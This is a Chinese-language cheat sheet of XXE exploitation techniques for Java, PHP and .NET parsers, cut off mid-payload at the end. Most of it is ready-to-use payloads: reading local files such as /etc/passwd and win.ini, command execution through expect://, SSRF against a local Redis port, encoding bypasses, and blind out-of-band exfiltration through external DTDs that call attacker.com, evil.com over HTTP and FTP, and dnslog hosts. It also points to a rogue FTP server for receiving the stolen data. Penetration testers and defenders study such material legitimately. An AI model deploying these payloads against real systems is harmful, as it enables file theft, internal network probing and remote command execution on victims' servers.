注意:不同平台支持的协议不同,jdk1.8开始不再支持gopher协议
| 协议类型 | 可用场景 | Java 版本支持 | 安全限制 |
|---|---|---|---|
| file | 本地文件系统访问 | 全版本 | 受 SecurityManager 控制 |
| netdoc | 兼容旧系统(保留协议) | 1.0+ | 同 file 协议 |
| jar | 读取 jar 包内资源 | 1.2+ | 需配置权限 |
| http(s) | 远程资源访问 | 1.4+ | 需要网络权限 |
Java环境下XXE漏洞利用技巧1、netdoc协议和file协议是一样的2、file协议可以和ls命令一样列目录3、可以使用CDATA来读取包含特殊字符的文本数据,避免XML解析器对其进行解析。但是也只能读取一些简单的文本文件,如果文本中含有&或%还是无法进行读取。4、高版本 JDK(≥8u191)中可通过utf-16编码绕过协议限制:<?xml version="1.0" encoding="UTF-16BE"?><!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> ]>5、利用jar:协议读取压缩包内文件<!ENTITY xxe SYSTEM "jar:file:///path/to/archive.zip!/file.txt">6、使用参数实体嵌套绕过基础防护:<!DOCTYPE root [<!ENTITY % param1 "file:///etc/passwd"><!ENTITY % param2 "<!ENTITY % exploit SYSTEM '%param1;'>">%param2;]>7、可通过FTP协议外带含特殊字符的数据,对于不回显XXE,java没法像php一样用php://filter用来编码文件,只能用http或者ftp带出,受到很大限制。8、不同JDK版本下的差异:JDK 1.7u21 开始限制外部连接JDK 6u45/7u21 开始禁用部分危险协议JDK 8u191/7u201/6u211 版本后默认禁用 netdoc 协议9、特殊文件读取读取 /proc/self/environ 获取环境变量通过 file:///sys/class/net/eth0/address 获取 MAC 地址利用 Windows UNC 路径探测内网服务:<!ENTITY xxe SYSTEM "file://///192.168.1.1/share/file">10、结合 JAXB 反序列化实现 RCE11、通过 XInclude 二次触发漏洞:<root xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd"/></root>12、利用 DTD 本地缓存进行盲注攻击
PHP环境下XXE漏洞利用技巧1、php://filter 协议可以读取文件并进行编码转换:<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">2、expect:// 协议(需安装 expect 扩展)可执行系统命令:<!ENTITY xxe SYSTEM "expect://id">3、解析器差异libxml(默认解析器):PHP<8.0默认启用外部实体解析、需使用libxml_disable_entity_loader(true)禁用实体加载SimpleXML: $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //LIBXML_NOENT 会主动解析实体4、使用 UTF-7 编码绕过关键词过滤:<?xml version="1.0" encoding="UTF-7"?>+ADwAIQ-DOCTYPE+test+...+AD4-5、通过参数实体嵌套攻击:<!DOCTYPE root [<!ENTITY % param1 SYSTEM "file:///etc/passwd"><!ENTITY % param2 "<!ENTITY % exploit SYSTEM 'php://filter/convert.base64-encode/resource=%param1;'>">%param2;]>6、通过 HTTP/FTP 协议外传数据:<!ENTITY % send SYSTEM "http://attacker.com/?data=%file;">
.net环境下XXE漏洞利用技巧1、不安全的配置如下XmlDocument xmlDoc = new XmlDocument();xmlDoc.XmlResolver = new XmlUrlResolver(); // 启用外部解析xmlDoc.LoadXml(xml);2、协议支持file:// 协议可读取本地文件http:// 可用于 SSRF 攻击或外带数据利用 UNC 路径探测内网服务:<!ENTITY xxe SYSTEM "\\192.168.1.1\share\file">3、通过svg文件格式绕过内容检查:<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><!ENTITY xxe SYSTEM "file:///C:/windows/win.ini"></svg>4、使用 XInclude 绕过禁用 DTD:<root xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"/></root>5、通过XmlResolver自定义解析器实现 RCE(需特殊配置)6、利用res://协议读取程序集资源文件
XXE漏洞利用主要分为下面两种情景1.有回显常用的协议file:///http://127.0.0.1/1.txtphp://filter/read=convert.base64-encode/resource=/etc/hosts
file协议文件读取<?xml version="1.0"?><!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]><a>&xxe;</a>
命令执行expect:// 是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE xxe [<!ENTITY url SYSTEM "expect://whoami" >]><xxe>&url;</xxe>
SSRF<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY xxe SYSTEM "http://127.0.0.1:6379"> ]><a>&xxe;</a>
文件上传<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
java特定协议,netdoc协议文件读取<?xml version="1.0"?><!DOCTYPE GVI[<!ENTITY xxe SYSTEM "netdoc:///C:/windows/win.ini" >]><user><username>&xxe;</username><password>test</password></user>
1.盲注读取文件
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/test.dtd">%remote;%int;%send;]>
dtd文件<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.dnslog.cn/?p=%file;'>">
| 步骤 | 代码 | 作用 |
|---|---|---|
| 1 | %remote; | 加载远程test.dtd文件 |
| 2 | %int; | 定义嵌套实体:%send实体包含一个 HTTP 请求,其中注入%file读取的内容 |
| 3 | %send; | 触发最终的 HTTP 请求,将文件内容通过 URL 参数外传 |
2.报错读取
<?xml version="1.0" ?><!DOCTYPE message [<!ENTITY % ext SYSTEM "http://1.1.1.1:8000/ext.dtd">%ext;]><message></message>
dtd文件如下<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"><!ENTITY % eval "<!ENTITY % error SYSTEM 'http://1.1.1.1:8000/%file;'>">%eval;%error;
存在堆栈报错可以看到回显则使用下面的dtd<!ENTITY % all SYSTEM "file:///c:/windows/win.ini"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%all;'>">%eval;%error;
3.CDATA拼接
java dtd在外部拼接CDATA,在java中无法绕过【&】和【%】<?xml version="1.0" encoding="utf-8"?><!DOCTYPE roottag [<!ENTITY % start "<![CDATA["><!ENTITY % goodies SYSTEM "file:///C:/Windows/win.ini"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">%dtd; ]><user><username>&all;</username><password>admin</password></user>
dtd文件如下<!ENTITY all "%start;%goodies;%end;">
4、ftp协议外带
<?xml version="1.0"?><!DOCTYPE GVI [<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">%dtd;]><user><username>admin</username><password>admin</password></user>
dtd文件如下<!ENTITY % all SYSTEM "file:///C:/Windows/win.ini"><!ENTITY % eval "<!ENTITY % error SYSTEM 'ftp://evil.com:2121/%all;'>">%eval;%error;
注意:此时无法直接使用nc监听2121端口,需要用到伪ftp服务器https://github.com/LandGrey/xxe-ftp-server/python xxe-ftp-server.py 0.0.0.0 8081 2121ftp协议可获取java版本,但很多特殊字符都会导致无法带出,同时JDK大于7u141和8u162版本无法带出有换行的文件。
5、本地dtd,适用不出网情况
有回显<?xml version="1.0" ?><!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd"><!ENTITY % SuperClass '><!ENTITY % file SYSTEM "file:///c:/windows/win.ini"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;'>%local_dtd;]><user><username>admin</username><password>admin</password></user>
无回显可利用ftp协议外带<?xml version="1.0" ?><!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///C:/Windows/System32/wbem/xml/cim20.dtd"><!ENTITY % SuperClass '><!ENTITY % file SYSTEM "file:///c:/windows/win.ini"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'ftp://evil.com:2121/%file;'>">%eval;%error;'>%local_dtd;]><user><username>admin</username><password>admin</password></user>
存在堆栈报错<?xml version="1.0" ?><!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///C:/fonts.dtd"><!ENTITY % constant 'aaa)><!ENTITY % file SYSTEM "file:///c:/windows/win.ini"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;'>%local_dtd;]><user><username>admin</username><password>admin</password></user>
Windows上常用dtdC:/Windows/System32/wbem/xml/cim20.dtdC:/Windows/System32/wbem/xml/wmi20.dtdC:/Windows/SysWOW64/wbem/xml/cim20.dtdC:/Windows/SysWOW64/wbem/xml/wmi20.dtdlinux系统中dtd文件视系统而定,比如从我的Ubuntu中找出文件/usr/share/xml/fontconfig/fonts.dtd
6、jar协议
存在堆栈报错可用<?xml version="1.0"?><!DOCTYPE GVI [<!ENTITY % payload SYSTEM "file:///C:/"><!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd" >%xxe;%release;]><user><username>admin</username><password>admin</password></user>
dtd文件如下<!ENTITY % nested "<!ENTITY % release SYSTEM 'jar:%payload;!/test'>">%nested;
dnslog外带<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!-- 读取目标文件 --><!ENTITY % nested "<!ENTITY % release SYSTEM 'jar:http://%payload;.dnslog.cn/!/'>">%nested; <!-- 动态构造JAR URL -->%release; <!-- 触发DNS解析 -->]>
dtd文件如下<!ENTITY % nested "<!ENTITY % release SYSTEM ’jar:%payload;.externallyhostedentity.com!/’>">%nested;或<!ENTITY % nested "<!ENTITY % release SYSTEM ’jar:%payload